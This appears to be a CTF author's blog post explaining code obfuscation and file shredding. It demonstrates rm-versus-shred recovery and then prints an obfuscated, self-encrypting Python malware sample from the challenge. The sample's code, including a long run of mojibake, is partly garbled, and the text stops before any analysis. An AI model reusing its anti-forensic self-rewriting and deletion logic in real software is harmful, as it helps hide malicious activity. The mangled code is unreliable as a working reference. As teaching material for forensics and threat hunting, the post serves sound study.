Obfuscation and Shredding: A Study in Concealment and Destruction
In the context of concealing data in the modern information technology world, two techniques particularly stand out for their effectiveness and purpose: obfuscation and shredding. While each one of them attempts to achieve a different aim, one seeking to baffle and the other to delete, they both deny access in some manner. These methods, while differing in approach through code alteration or permanent data deletion, serve critical roles in both proactive and reactive cybersecurity strategies.
In today’s blog, i’ll take you on a journey to discover the magic of basic obfuscation and shreedding by studying a detailed Malware Analysis CTF That i created in the Moroccan Cyber Security Camp CTF v12 Qualification.
The goal is to get familiarized with the shredding term, reverse engineering and threat hunting to unveil the malicious act by the malware.
Blog Plan
- 1. Understanding the Foundations
- 2. Case Study: Internal 43 | A Self-Shredding Python Malware (CTF-based)
- 3. From Confusion to Clarity: The Hunting Process
Understanding the Foundations
As we said, we will start studying the core concepts that this malware covers, which are Obfuscation and Shredding.
2.1 Obfuscation?
In simple words, Obfuscation refers to the intentional modification of code or data to render it unintelligible and unreadable, resistant to analysis, or challenging to reverse engineer (Mind blower), but while preserving its original functionality. This technique is employed by both legitimate entities like software developers protecting proprietary logic
and malicious actors like us in this example.
Nice, now how this is done?, Obfuscation has multiple types, from such we find
Control Flow Obfuscation
This method disrupts the logical flow of a script using redundant structures, such as loops or conditional checks, to obscure the true execution path.
max_attempts=5 counter=0 success=0 for (( i=1; i<=max_attempts; i++ )); do let counter++ random_num=$(( ( RANDOM % 6 ) + 1 )) # Generate 1-6 if [[ $random_num -ge 3 ]]; then success=1 break else sleep 0.$(( RANDOM % 5 + 1 )) # Random delay 0.1-0.5s fi done if [[ $success -eq 1 ]]; then $(printf "\x2f\x62\x69\x6e\x2f\x65\x63\x68\x6f\x20\x5e\x5f\x5e\x20\x48\x69\x64\x64\x65\x6e\x20\x4d\x65\x73\x73\x61\x67\x65") fi
By employing a loop with randomization, superfluous variables, and encoded commands to conceal its actual intent, this script exemplifies control flow obfuscation. A hexadecimal-encoded command (/bin/echo ^_^ Hidden Message) that simply prints ^_^ Hidden Message
is executed after it decodes and generates random numbers in a loop with a high probability of “success.” Static and dynamic analysis are complicated by the use of redundant logic, misleading variables like counter and success, random delays, and runtime decoding, which makes it more difficult for analysts to understand the purpose of the script.
Variable Renaming and Dead Code (Python Example)
The following technique combines ambiguous variable names, unused code, and indirect function calls to mislead analysts.
Example
hdotdjs = "cGF5bG9hZAo=" #for 'payload\n' hdotdjj = 1234 # here is oure dead variable def r(): return eval("print") r()(hdotdjs.encode('ascii').decode('base64'))
The string cGF5bG9hZAo=
in this obfuscated Python snippet is a Base64-encoded version of payload\n
, which at first glance hides the script’s actual content. In order to complicate the script and make analysts confused, a dummy variable hdotdjj = 1234
is introduced but never used. By using eval("print")
to return the print
function indirectly, the function r()
adds a layer of indirection that obfuscates the execution flow. This multi step process of encoding, decoding, and indirect invocation effectively hides the script’s purpose from rapid or automated inspection. Then comes the line r()(hdotdjs.encode('ascii').decode('base64'))
both decodes and executes the hidden payload.
Note that this is very basic obfuscation topic, the purpose from these sections is to understand its logic.
2.2 Shredding?
If obfuscation is about hiding, shredding is about erasing. File shredding goes beyond basic deletion, it ensures that once data is removed, it becomes irrecoverable. While normal deletion simply unlinks a file from the filesystem (or technically said, it removes the pointer to the data in memory), leaving the data blocks intact until overwritten, shredding overwrites the file content multiple times to prevent forensic recovery. So in such cases malwares authors often uses shredding techniques to clean up evidence after execution, drop artifacts temporarily, or eliminate logs.
Seems easy huh. Lets take an example,
When we use rm
(rm file.txt
) on Linux or Unix systems, the file is not totally erased from the disk, it is merely unlinked from the filesystem directory structure, making it “invisible” to normal access. The actual data still resides on the physical storage medium, but the filesystem marks that space as available for reuse. As long as no new data has overwritten that region, the original content can often be recovered using forensic tools like extundelete
, photorec
, or foremost
, which scan raw disk sectors to reconstruct deleted files.
Lets take action on this by creating a disk image for testing, our target is recover a file deleted with rm and because the data is still on disk until overwritten
dd if=/dev/zero of=testdisk.img bs=1M count=50 mkfs.ext4 testdisk.img sudo mkdir /mnt/testdisk sudo mount -o loop testdisk.img /mnt/testdisk sudo echo "Sn4keEy3s secret data to be recovered" > /mnt/testdisk/secret.txt
So i created a disk image and formate it with ext4
, the for the demo i mounted it and create a secret.txt
file.
Now if we remove the file and unmount the disk from the mounting point :
sudo rm /mnt/testdisk/secret.txt sync sudo umount /mnt/testdisk
So now the file is deleted,b ut reaaaally? If it is, we should not found a trace for it. lets now try to carve files from the unmounted disk,
binwalk -e testdisk.img
Some interesting files showed up
The files extracted by binwalk -e testdisk.img
(such as 0.ext, 17000.ext..) are raw segments of the EXT filesystem carved out from specific offsets within the disk image where binwalk detected ext4 filesystem structures. These .ext and .ext2 files represent portions of the original filesystem, such as metadata blocks, journals, or actual data, lets see.
Filename | Offset (from image) | What it is |
---|---|---|
0.ext | 0x0 | Beginning of the original EXT4 FS |
17000.ext | 0x17000 | Internal EXT metadata or journal block |
22000.ext2 | 0x22000 | Another EXT FS data segment |
34D000.ext2 | 0x34D000 | More EXT filesystem data |
357000.ext2 | 0x357000 | Additional EXT block |
ext-root | Directory where binwalk attempts to reassemble structure |
strings 0.ext
As we can see here we successfully recovered the actual data of the secret.txt file, we can also see the file name.
While rm
only removes a file’s reference from the filesystem, leaving the raw data recoverable. shred
goes much further by overwriting the contents of a file multiple times before deletion. This process dramatically reduces the chances of forensic recovery.
By default, shred
uses random data to overwrite a file’s content several times, optionally adding final zeroing and deletion steps. For example, executing shred -n 3 -z -u secret.txt
will overwrite the file three times with random data, add a final overwrite with zeros (-z
), and then unlink the file (-u
). Unlike rm
, where we saw earlier that we could carve out the content using tools like binwalk
, strings
, or photorec
, shredding actively destroys that recoverable data. This makes it a preferred method for malware authors who wish to wipe out forensic traces after dropping payloads, executing malicious logic, or tampering with logs. Once shredded, recovery attempts are almost always futile, even when scanning raw disk sectors.
Lets see shred
on action by creating a new disk image for test
This time i’m using shred -n 3 -z -u secret.txt
, the the file is overwritten three times with random data, and a final overwrite with zeros. so when greping on Sn4ke
that was in the removed data, we can’t find it.
Lets discover binwalk.
As we can see here 0s replaced our original data, so that it can’t be recovered.
In conclusion, while rm only hides files by unlinking them, leaving data recoverable. shred securely erases content by overwriting it, making forensic recovery nearly impossible so this makes shred a powerful tool for securely deleting sensitive data, but i guess there will be other techniques to recover the data, maybe advanced ones.
Case Study: Internal 43 | A Self-Shredding Python Malware (CTF-based)
We looked at the basics of shredding and obfuscation in the earlier sections. I developed a Forensics-challenge called Internal 43
for our CTF (MCSC v12 2025) that included a Python-based malware sample. Despite its straightforward operation, it included a self-shredding mechanism and an obfuscation layer that effectively deceived a large number of participants.
I will conduct a threat hunt on the malware in the upcoming analysis in order to identify and illustrate its primary features that we covered.
- First Insights :
import os import glob import base64 import subprocess def ksii343(text, llkjhhjkkkkkkLONG): eeeeeeeeeeeeeeeeeeeeeeXXrted = [] lkjhs = len(llkjhhjkkkkkkLONG) for i, ch in enumerate(text): COLLOSALkhsTfrff2133 = chr((ord(ch) + ord(llkjhhjkkkkkkLONG[i % lkjhs])) % 256) eeeeeeeeeeeeeeeeeeeeeeXXrted.append(COLLOSALkhsTfrff2133) def ksii342(text, llkjhhjkkkkkkLONG): eeeeeeeeeeeeeeeeeeeeeeXXrted = [] lkjhs = len(llkjhhjkkkkkkLONG) for i, ch in enumerate(text): COLLOSALkhsTfrff2133 = chr((ord(ch) + ord(llkjhhjkkkkkkLONG[i % lkjhs])) % 256) eeeeeeeeeeeeeeeeeeeeeeXXrted.append(COLLOSALkhsTfrff2133) def ksii341(text, llkjhhjkkkkkkLONG): eeeeeeeeeeeeeeeeeeeeeeXXrted = [] lkjhs = len(llkjhhjkkkkkkLONG) for i, ch in enumerate(text): COLLOSALkhsTfrff2133 = chr((ord(ch) + ord(llkjhhjkkkkkkLONG[i % lkjhs])) % 256) eeeeeeeeeeeeeeeeeeeeeeXXrted.append(COLLOSALkhsTfrff2133) def ksii340(text, llkjhhjkkkkkkLONG): eeeeeeeeeeeeeeeeeeeeeeXXrted = [] lkjhs = len(llkjhhjkkkkkkLONG) for i, ch in enumerate(text): COLLOSALkhsTfrff2133 = chr((ord(ch) + ord(llkjhhjkkkkkkLONG[i % lkjhs])) % 256) eeeeeeeeeeeeeeeeeeeeeeXXrted.append(COLLOSALkhsTfrff2133) def ksii34a(text, llkjhhjkkkkkkLONG): eeeeeeeeeeeeeeeeeeeeeeXXrted = [] lkjhs = len(llkjhhjkkkkkkLONG) for i, ch in enumerate(text): COLLOSALkhsTfrff2133 = chr((ord(ch) + ord(llkjhhjkkkkkkLONG[i % lkjhs])) % 256) eeeeeeeeeeeeeeeeeeeeeeXXrted.append(COLLOSALkhsTfrff2133) lllllllllllllll = str def ksii34b(text, llkjhhjkkkkkkLONG): eeeeeeeeeeeeeeeeeeeeeeXXrted = [] lkjhs = len(llkjhhjkkkkkkLONG) for i, ch in enumerate(text): COLLOSALkhsTfrff2133 = chr((ord(ch) + ord(llkjhhjkkkkkkLONG[i % lkjhs])) % 256) eeeeeeeeeeeeeeeeeeeeeeXXrted.append(COLLOSALkhsTfrff2133) def ksii34c(text, llkjhhjkkkkkkLONG): eeeeeeeeeeeeeeeeeeeeeeXXrted = [] lkjhs = len(llkjhhjkkkkkkLONG) for i, ch in enumerate(text): COLLOSALkhsTfrff2133 = chr((ord(ch) + ord(llkjhhjkkkkkkLONG[i % lkjhs])) % 256) eeeeeeeeeeeeeeeeeeeeeeXXrted.append(COLLOSALkhsTfrff2133) def ksii34d(text, llkjhhjkkkkkkLONG): eeeeeeeeeeeeeeeeeeeeeeXXrted = [] lkjhs = len(llkjhhjkkkkkkLONG) for i, ch in enumerate(text): COLLOSALkhsTfrff2133 = chr((ord(ch) + ord(llkjhhjkkkkkkLONG[i % lkjhs])) % 256) eeeeeeeeeeeeeeeeeeeeeeXXrted.append(COLLOSALkhsTfrff2133) def ksii34e(text, llkjhhjkkkkkkLONG): eeeeeeeeeeeeeeeeeeeeeeXXrted = [] lkjhs = len(llkjhhjkkkkkkLONG) for i, ch in enumerate(text): COLLOSALkhsTfrff2133 = chr((ord(ch) + ord(llkjhhjkkkkkkLONG[i % lkjhs])) % 256) eeeeeeeeeeeeeeeeeeeeeeXXrted.append(COLLOSALkhsTfrff2133) def ksii34f(text, llkjhhjkkkkkkLONG): eeeeeeeeeeeeeeeeeeeeeeXXrted = [] lkjhs = len(llkjhhjkkkkkkLONG) for i, ch in enumerate(text): COLLOSALkhsTfrff2133 = chr((ord(ch) + ord(llkjhhjkkkkkkLONG[i % lkjhs])) % 256) eeeeeeeeeeeeeeeeeeeeeeXXrted.append(COLLOSALkhsTfrff2133) def ksii34s(text, llkjhhjkkkkkkLONG): eeeeeeeeeeeeeeeeeeeeeeXXrted = [] lkjhs = len(llkjhhjkkkkkkLONG) for i, ch in enumerate(text): COLLOSALkhsTfrff2133 = chr((ord(ch) + ord(llkjhhjkkkkkkLONG[i % lkjhs])) % 256) eeeeeeeeeeeeeeeeeeeeeeXXrted.append(COLLOSALkhsTfrff2133) def ksii34k(text, llkjhhjkkkkkkLONG): eeeeeeeeeeeeeeeeeeeeeeXXrted = [] lkjhs = len(llkjhhjkkkkkkLONG) for i, ch in enumerate(text): COLLOSALkhsTfrff2133 = chr((ord(ch) + ord(llkjhhjkkkkkkLONG[i % lkjhs])) % 256) eeeeeeeeeeeeeeeeeeeeeeXXrted.append(COLLOSALkhsTfrff2133) def ksii344(text, llkjhhjkkkkkkLONG): eeeeeeeeeeeeeeeeeeeeeeXXrted = [] lkjhs = len(llkjhhjkkkkkkLONG) for i, ch in enumerate(text): COLLOSALkhsTfrff2133 = chr((ord(ch) + ord(llkjhhjkkkkkkLONG[i % lkjhs])) % 256) eeeeeeeeeeeeeeeeeeeeeeXXrted.append(COLLOSALkhsTfrff2133) return "".join(eeeeeeeeeeeeeeeeeeeeeeXXrted) def dshyXXXlsoe(text, llkjhhjkkkkkkLONG, llllllllllllllki): lkjhs = len(llkjhhjkkkkkkLONG) assert(lkjhs== int(((0x23^0x2)/ 3)+2)) eeeeeeeeeeeeeeeeeeeeeeXXrted = [] for i, ch in enumerate(text): COLLOSALkhsTfrff2133 = chr((ord(ch) + ord(llkjhhjkkkkkkLONG[i % lkjhs])) % 256) eeeeeeeeeeeeeeeeeeeeeeXXrted.append(COLLOSALkhsTfrff2133) return llllllllllllllki.join(eeeeeeeeeeeeeeeeeeeeeeXXrted) def XXXXXXXXXJSPRRRJSDSAUDJSNSNSWI(): oiiiiiiiiiujauqobsolute2311 = os.path.abspath(__file__) with open(oiiiiiiiiiujauqobsolute2311, "r", encoding="utf-8") as f: script_data = f.read() IIIllIIlllIIIIlIII = base64.b64decode(lllllllllllllll('.' + '@#=@' + '#=g#Cm9' + 'F|d#-wl#nc_j' + '#5W.Z')[::-1].replace('_', '').replace('.', '').replace('|', '').replace('-', '').replace('#', '').replace('@', '')).decode('utf-8').strip() i = script_data.index(IIIllIIlllIIIIlIII) juyt = script_data[i:] liiencrypt = dshyXXXlsoe(juyt, sowiaaaandowTgsRETfs, llllllllllllllki=env) new_script_data = script_data[:i] + liiencrypt with open(oiiiiiiiiiujauqobsolute2311, "w", encoding="utf-8") as f: f.write(new_script_data) subprocess.run(["rm", "-f", "env"]) def ¸__XXX__Ö__XXX__Õ__XXX__×__XXX__Þ__XXX__Ô__XXX__½__XXX__³__XXX__Ò__XXX____XXX__ã__XXX____XXX__å__XXX__{__XXX__Ô__XXX__å__XXX__Ô__XXX__Ê__XXX__Í__XXX__¾__XXX__Ë__XXX____XXX__j__XXX____XXX__S__XXX____XXX__s__XXX____XXX__Ø__XXX__Ô__XXX__×__XXX____XXX__¯__XXX__½__XXX__Ø__XXX____XXX____XXX____XXX__à__XXX__s__XXX__Ï__XXX__Þ__XXX__Ô__XXX__Ç__XXX____XXX__°__XXX__À__XXX__Û__XXX____XXX____XXX____XXX____XXX__Î__XXX__Ô__XXX__å__XXX__Ô__XXX__Ê__XXX__Í__XXX__¾__XXX__Ë__XXX__é__XXX_____XXX__¡__XXX__a__XXX__æ__XXX__Ë__XXX__Ü__XXX____XXX____XXX____XXX__n__XXX__i__XXX__t__XXX____XXX__P__XXX____XXX__S__XXX____XXX__s__XXX__ß__XXX__Û__XXX__Ù__XXX__Í__XXX____XXX__¸__XXX__Ä__XXX__Ñ__XXX____XXX____XXX____XXX__Û__XXX__¿__XXX__Í__XXX____XXX__ __XXX____XXX__Ö__XXX__k__XXX____XXX____XXX____XXX__å__XXX____XXX__á__XXX__·__XXX__Ñ__XXX__à__XXX__Ì__XXX__¢__XXX____XXX__¾__XXX__È__XXX__Ò__XXX__]__XXX__¯__XXX__U__XXX____XXX__s__XXX__É__XXX__å__XXX__ __XXX__Ë__XXX____XXX__S__XXX__t__XXX____XXX__P__XXX____XXX__S__XXX____XXX__s__XXX____XXX____XXX__ __XXX__ __XXX____XXX____XXX__µ__XXX__à__XXX____XXX____XXX__p__XXX____XXX__¹__XXX____XXX__ä__XXX__Ê__XXX__Æ__XXX__È__XXX__q__XXX__}__XXX__v__XXX__P__XXX____XXX__S__XXX____XXX__s__XXX____XXX____XXX__ __XXX__Ñ__XXX__È__XXX__¸__XXX__¹__XXX__Õ__XXX____XXX__ë__XXX__§__XXX____XXX____XXX____XXX__Ý__XXX__Ø__XXX__Î__XXX__Í__XXX__|__XXX____XXX__ __XXX__X__XXX__Û__XXX____XXX__æ__XXX__´__XXX____XXX____XXX__Ô__XXX__Ú__XXX__Í__XXX__²__XXX__½__XXX__Õ__XXX____XXX__à__XXX____XXX__Û__XXX__¼__XXX__Ø__XXX__â__XXX__Õ__XXX__Õ__XXX__Ô__XXX__¹__XXX__Ä__XXX__Ü__XXX__ __XXX__ç__XXX__£__XXX__â__XXX__Ã__XXX__Ø__XXX__â__XXX__Õ__XXX____XXX__n__XXX__i__XXX__t__XXX____XXX__P__XXX____XXX__S__XXX____XXX__s__XXX__ß__XXX__Û__XXX__Ù__XXX__Í__XXX____XXX__¸__XXX__Ä__XXX__Ñ__XXX____XXX____XXX____XXX__Û__XXX__¿__XXX__Í__XXX____XXX__ __XXX____XXX__Û__XXX__k__XXX____XXX____XXX____XXX__å__XXX____XXX__á__XXX__·__XXX__Ñ__XXX__à__XXX__Ì__XXX__¢__XXX____XXX__¾__XXX__È__XXX__Ò__XXX__]__XXX__¯__XXX__U__XXX____XXX__s__XXX__É__XXX__å__XXX__ __XXX__Ë__XXX____XXX__S__XXX__t__XXX____XXX__P__XXX____XXX__S__XXX____XXX__s__XXX____XXX____XXX__ __XXX__ __XXX____XXX__¯__XXX____XXX__ã__XXX__¢__XXX__à__XXX__§__XXX__×__XXX__{__XXX__Ô__XXX__Ö__XXX__Ô__XXX__Ê__XXX__Í__XXX__°__XXX__È__XXX__à__XXX__Y__XXX____XXX__S__XXX____XXX__s__XXX____XXX____XXX__ __XXX__ __XXX____XXX__¹__XXX__Æ__XXX__Õ__XXX____XXX__ë__XXX__[__XXX__Ø__XXX__u__XXX__Á__XXX__á__XXX__Ú__XXX__ __XXX__Å__XXX__»__XXX__¹__XXX____XXX____XXX__Ø__XXX____XXX__Ý__XXX__¸__XXX__Ì__XXX____XXX____XXX__ __XXX__¸__XXX__¸__XXX__t__XXX__Þ__XXX____XXX__Ú__XXX__¢__XXX__è__XXX__¸__XXX__Ú__XXX____XXX__Þ__XXX__Ô__XXX__Ù__XXX__»__XXX__t__XXX__Ò__XXX____XXX__ê__XXX_____XXX____XXX__Æ__XXX__Ð__XXX__á__XXX__Ü__XXX__ __XXX__Ñ__XXX__®__XXX__t__XXX__å__XXX____XXX__ì__XXX__¥__XXX____XXX__¾__XXX__Ñ__XXX__à__XXX__É__XXX__Ó__XXX__É__XXX__¼__XXX__Ç__XXX____XXX____XXX__å__XXX__S__XXX__ß__XXX__Ì__XXX____XXX__é__XXX__Æ__XXX__Ñ__XXX__Ð__XXX__®__XXX__È__XXX____XXX__`__XXX__ï__XXX__i__XXX__«__XXX____XXX____XXX__Ø__XXX__Æ__XXX__Ç__XXX____XXX____XXX____XXX__Ñ__XXX__^__XXX____XXX__w__XXX__·__XXX____XXX__©__XXX__»__XXX__ __XXX____XXX____XXX__~__XXX__t__XXX__°__XXX____XXX__ð__XXX__¦__XXX__ __XXX__u__XXX____XXX__|__XXX__É__XXX__Ê__XXX__Ê__XXX__i__XXX__¿__XXX__ß__XXX____XXX__à__XXX__f__XXX__¦__XXX__¸__XXX____XXX__æ__XXX__Ê__XXX__Ý__XXX__Ø__XXX__u__XXX__t__XXX__Ø__XXX____XXX__â__XXX____XXX__Ú__XXX__»__XXX__Ò__XXX__Ý__XXX__Ð__XXX__Ð__XXX__Ï__XXX__´__XXX__¿__XXX__¸__XXX____XXX__Å__XXX__z__XXX____XXX____XXX__r__XXX____XXX__ __XXX__ __XXX____XXX__®__XXX__¹__XXX__Ñ__XXX____XXX__Ü__XXX____XXX__×__XXX__¸__XXX__Í__XXX__×__XXX__Ê__XXX__Ê__XXX__É__XXX__®__XXX__¹__XXX__Ñ__XXX____XXX__Ü__XXX____XXX__×__XXX__¸__XXX__Í__XXX__Ê__XXX__½__XXX__×__XXX__Ø__XXX__®__XXX__¸__XXX____XXX__m__XXX____XXX____XXX__Ï__XXX__]__XXX____XXX____XXX__ __XXX__ __XXX__Ð__XXX__´__XXX__¾__XXX__Ô__XXX__£__XXX____XXX__p__XXX____XXX__¿__XXX__Í__XXX__à__XXX____XXX__Ñ__XXX__Ð__XXX__´__XXX__¾__XXX__Ô__XXX____XXX__á__XXX____XXX__Ý__XXX__¾__XXX__Ó__XXX__Ý__XXX__Ð__XXX__±__XXX__³__XXX____XXX____XXX____XXX__:__XXX____XXX__S__XXX____XXX__s__XXX__Î__XXX__á__XXX__×__XXX__ __XXX__Í__XXX__u__XXX__t__XXX__Ï__XXX____XXX____XXX____XXX__à__XXX__s__XXX__Í__XXX__à__XXX__Ú__XXX__Ò__XXX__É__XXX__»__XXX__µ__XXX__à__XXX____XXX____XXX__§__XXX__×__XXX__Ë__XXX__Ü__XXX____XXX____XXX__o__XXX____XXX__i__XXX__t__XXX____XXX__P__XXX____XXX__S__XXX____XXX____XXX__·__XXX__¾__XXX__±__XXX__´__XXX__·__XXX____XXX__ __XXX__×__XXX____XXX__ê__XXX____XXX__Ø__XXX__Å__XXX__Î__XXX__Ø__XXX____XXX____XXX____XXX__|__XXX__t__XXX__©__XXX__P__XXX__Ú__XXX____XXX__ä__XXX__{__XXX____XXX__á__XXX__×__XXX__É__XXX____XXX__¬__XXX__¼__XXX____XXX__P__XXX__¢__XXX__S__XXX__á__XXX__Å__XXX__Ì__XXX____XXX__Ñ__XXX__Ñ__XXX__Ï__XXX__³__XXX__¼__XXX__Ô__XXX____XXX__â__XXX____XXX__Ý__XXX__¾__XXX__Ó__XXX__Ý__XXX__±__XXX__´__XXX__²__XXX____XXX__¯__XXX__Õ__XXX__P__XXX____XXX__S__XXX__Þ__XXX__¾__XXX__Ò__XXX__Ú__XXX__Ø__XXX__Â__XXX____XXX__r__XXX__t__XXX____XXX__P__XXX__©__XXX__h__XXX__¨__XXX__|__XXX__r__XXX____XXX__ __XXX__ __XXX____XXX__i__XXX__t__XXX____XXX__P__XXX__Ü__XXX____XXX__×__XXX__¸__XXX__Í__XXX__×__XXX__Ê__XXX__Ê__XXX__É__XXX__®__XXX__¹__XXX__Ñ__XXX____XXX__Ü__XXX____XXX__×__XXX__¸__XXX__Í__XXX__×__XXX__Ê__XXX__Ê__XXX__É__XXX__¡__XXX__¬__XXX__Þ__XXX__¤__XXX__Ü__XXX____XXX__ __XXX__´__XXX__Ø__XXX__â__XXX__Ê__XXX__Ó__XXX__È__XXX__q__XXX____XXX__»__XXX__|__XXX__Ã__XXX____XXX__Å__XXX____XXX__´__XXX__Ý__XXX__Í__XXX__Ø__XXX__¸__XXX__¯__XXX__Æ__XXX__Ò__XXX____XXX__©__XXX__d__XXX__¥__XXX____XXX____XXX__|__XXX__É__XXX__Ê__XXX__Ê__XXX__i__XXX__¿__XXX__ß__XXX____XXX__à__XXX__f__XXX__¦__XXX__¹__XXX____XXX__æ__XXX__Ê__XXX__Ý__XXX__Ø__XXX__u__XXX__t__XXX__Ø__XXX____XXX__â__XXX____XXX__Ú__XXX__»__XXX__Ò__XXX__Ý__XXX__Ð__XXX__Ð__XXX__Ï__XXX__´__XXX__¿__XXX__¸__XXX____XXX__Å__XXX__z__XXX____XXX____XXX__r__XXX____XXX__ __XXX__ __XXX____XXX__®__XXX__¹__XXX__Ñ__XXX____XXX__Ü__XXX____XXX__×__XXX__¸__XXX__Í__XXX__×__XXX__Ê__XXX__Ê__XXX__É__XXX__®__XXX__¹__XXX__Ñ__XXX____XXX__Ü__XXX____XXX__×__XXX__¸__XXX__Í__XXX__Ê__XXX__½__XXX__×__XXX__Ø__XXX__®__XXX__¸__XXX____XXX__m__XXX____XXX____XXX__Ï__XXX__]__XXX____XXX____XXX__ __XXX__ __XXX__Ð__XXX__´__XXX__¾__XXX__Ô__XXX__£__XXX____XXX__p__XXX____XXX__¿__XXX__Í__XXX__à__XXX____XXX__Ñ__XXX__Ð__XXX__´__XXX__¾__XXX__Ô__XXX____XXX__á__XXX____XXX__Ý__XXX__¾__XXX__Ó__XXX__Ý__XXX__Ð__XXX__±__XXX__³__XXX____XXX____XXX____XXX__:__XXX____XXX__S__XXX____XXX__s__XXX__Î__XXX__á__XXX__×__XXX__ __XXX__Í__XXX__u__XXX__t__XXX__Ï__XXX____XXX____XXX____XXX__à__XXX__s__XXX__Í__XXX__à__XXX__Ú__XXX__Ò__XXX__É__XXX__»__XXX__µ__XXX__à__XXX____XXX____XXX__§__XXX__×__XXX__Ë__XXX__Ü__XXX____XXX____XXX__o__XXX____XXX__i__XXX__t__XXX____XXX__P__XXX____XXX__S__XXX____XXX____XXX__·__XXX__¾__XXX__±__XXX__´__XXX__·__XXX____XXX__ __XXX__×__XXX____XXX__ê__XXX____XXX__Ø__XXX__Å__XXX__Î__XXX__Ø__XXX____XXX____XXX____XXX__|__XXX__t__XXX__©__XXX__P__XXX__Ú__XXX____XXX__ä__XXX__{__XXX____XXX__á__XXX__×__XXX__É__XXX____XXX__¬__XXX__¼__XXX____XXX__P__XXX__¢__XXX__S__XXX__á__XXX__Å__XXX__Ì__XXX____XXX__Ñ__XXX__Ñ__XXX__Ï__XXX__³__XXX__¼__XXX__Ô__XXX____XXX__â__XXX____XXX__Ý__XXX__¾__XXX__Ó__XXX__Ý__XXX__±__XXX__´__XXX__²__XXX____XXX__¯__XXX__Õ__XXX__P__XXX____XXX__S__XXX__Þ__XXX__¾__XXX__Ò__XXX__Ú__XXX__Ø__XXX__Â__XXX____XXX__r__XXX__t__XXX____XXX__P__XXX__©__XXX__h__XXX__¨__XXX__|__XXX__r__XXX____XXX__ __XXX__ __XXX____XXX__i__XXX__t__XXX____XXX__P__XXX__Ü__XXX____XXX__×__XXX__¸__XXX__Í__XXX__×__XXX__Ê__XXX__Ê__XXX__É__XXX__®__XXX__¹__XXX__Ñ__XXX____XXX__Ü__XXX____XXX__×__XXX__¸__XXX__Í__XXX__×__XXX__Ê__XXX__Ê__XXX__É__XXX__¡__XXX__¬__XXX__Þ__XXX__¤__XXX__Ü__XXX____XXX__ __XXX__´__XXX__Ø__XXX__â__XXX__Ê__XXX__Ó__XXX__È__XXX__q__XXX____XXX__»__XXX__|__XXX__Ã__XXX____XXX__Å__XXX____XXX__´__XXX__Ý__XXX__Í__XXX__Ø__XXX__¸__XXX__¯__XXX__Æ__XXX__Ò__XXX____XXX__©__XXX__d__XXX__¥__XXX____XXX____XXX__|__XXX__É__XXX__Ê__XXX__Ê__XXX__i__XXX__¿__XXX__ß__XXX____XXX__à__XXX__f__XXX__¦__XXX__Æ__XXX____XXX__æ__XXX__Ê__XXX__Ý__XXX__Ø__XXX__u__XXX__t__XXX__Ø__XXX____XXX__â__XXX____XXX__Ú__XXX__»__XXX__Ò__XXX__Ý__XXX__Ð__XXX__Ð__XXX__Ï__XXX__´__XXX__¿__XXX__¸__XXX____XXX__Å__XXX__z__XXX____XXX____XXX__r__XXX____XXX__ __XXX__ __XXX____XXX__®__XXX__¹__XXX__Ñ__XXX____XXX__Ü__XXX____XXX__×__XXX__¸__XXX__Í__XXX__×__XXX__Ê__XXX__Ê__XXX__É__XXX__®__XXX__¹__XXX__Ñ__XXX____XXX__Ü__XXX____XXX__×__XXX__¸__XXX__Í__XXX__Ê__XXX__½__XXX__×__XXX__Ø__XXX__®__XXX__¸__XXX____XXX__m__XXX____XXX____XXX__Ï__XXX__]__XXX____XXX____XXX__ __XXX__ __XXX__Ð__XXX__´__XXX__¾__XXX__Ô__XXX__£__XXX____XXX__p__XXX____XXX__¿__XXX__Í__XXX__à__XXX____XXX__Ñ__XXX__Ð__XXX__´__XXX__¾__XXX__Ô__XXX____XXX__á__XXX____XXX__Ý__XXX__¾__XXX__Ó__XXX__Ý__XXX__Ð__XXX__±__XXX__³__XXX____XXX____XXX____XXX__:__XXX____XXX__S__XXX____XXX__s__XXX__Î__XXX__á__XXX__×__XXX__ __XXX__Í__XXX__u__XXX__t__XXX__Ï__XXX____XXX____XXX____XXX__à__XXX__s__XXX__Í__XXX__à__XXX__Ú__XXX__Ò__XXX__É__XXX__»__XXX__µ__XXX__à__XXX____XXX____XXX__§__XXX__×__XXX__Ë__XXX__Ü__XXX____XXX____XXX__o__XXX____XXX__i__XXX__t__XXX____XXX__P__XXX____XXX__S__XXX____XXX____XXX__·__XXX__¾__XXX__±__XXX__´__XXX__·__XXX____XXX__ __XXX__×__XXX____XXX__ê__XXX____XXX__Ø__XXX__Å__XXX__Î__XXX__Ø__XXX____XXX____XXX____XXX__|__XXX__t__XXX__©__XXX__P__XXX__Ú__XXX____XXX__ä__XXX__{__XXX____XXX__á__XXX__×__XXX__É__XXX____XXX__¬__XXX__¼__XXX____XXX__P__XXX__¢__XXX__S__XXX__á__XXX__Å__XXX__Ì__XXX____XXX__Ñ__XXX__Ñ__XXX__Ï__XXX__³__XXX__¼__XXX__Ô__XXX____XXX__â__XXX____XXX__Ý__XXX__¾__XXX__Ó__XXX__Ý__XXX__±__XXX__´__XXX__²__XXX____XXX__¯__XXX__Õ__XXX__P__XXX____XXX__S__XXX__Þ__XXX__¾__XXX__Ò__XXX__Ú__XXX__Ø__XXX__Â__XXX____XXX__r__XXX__t__XXX____XXX__P__XXX__©__XXX__h__XXX__¨__XXX__|__XXX__r__XXX____XXX__ __XXX__ __XXX____XXX__i__XXX__t__XXX____XXX__P__XXX__Ü__XXX____XXX__×__XXX__¸__XXX__Í__XXX__×__XXX__Ê__XXX__Ê__XXX__É__XXX__®__XXX__¹__XXX__Ñ__XXX____XXX__Ü__XXX____XXX__×__XXX__¸__XXX__Í__XXX__×__XXX__Ê__XXX__Ê__XXX__É__XXX__¡__XXX__¬__XXX__Þ__XXX__¤__XXX__Ü__XXX____XXX__ __XXX__´__XXX__Ø__XXX__â__XXX__Ê__XXX__Ó__XXX__È__XXX__q__XXX____XXX__»__XXX__|__XXX__Ã__XXX____XXX__Å__XXX____XXX__´__XXX__Ý__XXX__Í__XXX__Ø__XXX__¸__XXX__¯__XXX__Æ__XXX__Ò__XXX____XXX__©__XXX__d__XXX__¥__XXX____XXX____XXX__|__XXX__É__XXX__Ê__XXX__Ê__XXX__i__XXX__¿__XXX__ß__XXX____XXX__à__XXX__f__XXX__¦__XXX__¾__XXX____XXX__æ__XXX__Ê__XXX__Ý__XXX__Ø__XXX__u__XXX__t__XXX__Ø__XXX____XXX__â__XXX____XXX__Ú__XXX__»__XXX__Ò__XXX__Ý__XXX__Ð__XXX__Ð__XXX__Ï__XXX__´__XXX__¿__XXX__¸__XXX____XXX__Å__XXX__z__XXX____XXX____XXX__r__XXX____XXX__ __XXX__ 